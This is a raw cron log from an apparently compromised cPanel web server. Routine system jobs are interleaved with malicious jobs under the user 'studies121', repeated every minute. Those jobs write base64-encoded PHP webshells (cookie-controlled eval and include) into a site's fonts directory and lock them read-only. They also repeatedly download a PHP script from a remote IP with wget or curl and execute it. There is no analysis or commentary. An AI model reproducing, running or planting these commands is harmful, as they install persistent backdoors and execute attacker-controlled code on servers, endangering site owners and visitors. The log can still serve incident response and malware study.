Sep 13 01:15:01 ip-184-168-122-23 CROND[22501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:15:01 ip-184-168-122-23 CROND[22504]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:16:01 ip-184-168-122-23 CROND[22685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:16:01 ip-184-168-122-23 CROND[22687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:16:01 ip-184-168-122-23 CROND[22688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 01:16:01 ip-184-168-122-23 CROND[22689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:16:01 ip-184-168-122-23 CROND[22691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:16:01 ip-184-168-122-23 CROND[22690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:17:01 ip-184-168-122-23 CROND[22803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:17:01 ip-184-168-122-23 CROND[22805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:17:01 ip-184-168-122-23 CROND[22804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:17:01 ip-184-168-122-23 CROND[22806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:18:02 ip-184-168-122-23 CROND[22896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:18:02 ip-184-168-122-23 CROND[22898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:18:02 ip-184-168-122-23 CROND[22899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:18:02 ip-184-168-122-23 CROND[22900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:18:02 ip-184-168-122-23 CROND[22901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:19:01 ip-184-168-122-23 CROND[23355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:19:01 ip-184-168-122-23 CROND[23356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:19:01 ip-184-168-122-23 CROND[23357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:19:01 ip-184-168-122-23 CROND[23354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:20:01 ip-184-168-122-23 CROND[23449]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 01:20:01 ip-184-168-122-23 CROND[23451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:20:01 ip-184-168-122-23 CROND[23452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:20:01 ip-184-168-122-23 CROND[23453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:20:01 ip-184-168-122-23 CROND[23454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:20:01 ip-184-168-122-23 CROND[23455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:20:01 ip-184-168-122-23 CROND[23456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:20:01 ip-184-168-122-23 CROND[23457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:20:01 ip-184-168-122-23 CROND[23458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:21:02 ip-184-168-122-23 CROND[23642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:21:02 ip-184-168-122-23 CROND[23643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:21:02 ip-184-168-122-23 CROND[23645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:21:02 ip-184-168-122-23 CROND[23644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:22:01 ip-184-168-122-23 CROND[23728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:22:01 ip-184-168-122-23 CROND[23732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:22:01 ip-184-168-122-23 CROND[23733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:22:01 ip-184-168-122-23 CROND[23731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:22:01 ip-184-168-122-23 CROND[23730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:23:01 ip-184-168-122-23 CROND[23826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:23:01 ip-184-168-122-23 CROND[23828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:23:01 ip-184-168-122-23 CROND[23827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:23:01 ip-184-168-122-23 CROND[23829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:24:01 ip-184-168-122-23 CROND[23915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:24:01 ip-184-168-122-23 CROND[23918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:24:01 ip-184-168-122-23 CROND[23919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:24:01 ip-184-168-122-23 CROND[23920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:24:01 ip-184-168-122-23 CROND[23917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:25:01 ip-184-168-122-23 CROND[24020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:25:01 ip-184-168-122-23 CROND[24023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:25:01 ip-184-168-122-23 CROND[24022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:25:01 ip-184-168-122-23 CROND[24024]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:25:01 ip-184-168-122-23 CROND[24026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:25:01 ip-184-168-122-23 CROND[24025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:26:01 ip-184-168-122-23 CROND[24206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:26:01 ip-184-168-122-23 CROND[24208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:26:01 ip-184-168-122-23 CROND[24211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:26:01 ip-184-168-122-23 CROND[24209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:26:01 ip-184-168-122-23 CROND[24210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:27:01 ip-184-168-122-23 CROND[24313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:27:01 ip-184-168-122-23 CROND[24315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:27:01 ip-184-168-122-23 CROND[24316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:27:01 ip-184-168-122-23 CROND[24317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:28:01 ip-184-168-122-23 CROND[24416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:28:01 ip-184-168-122-23 CROND[24419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
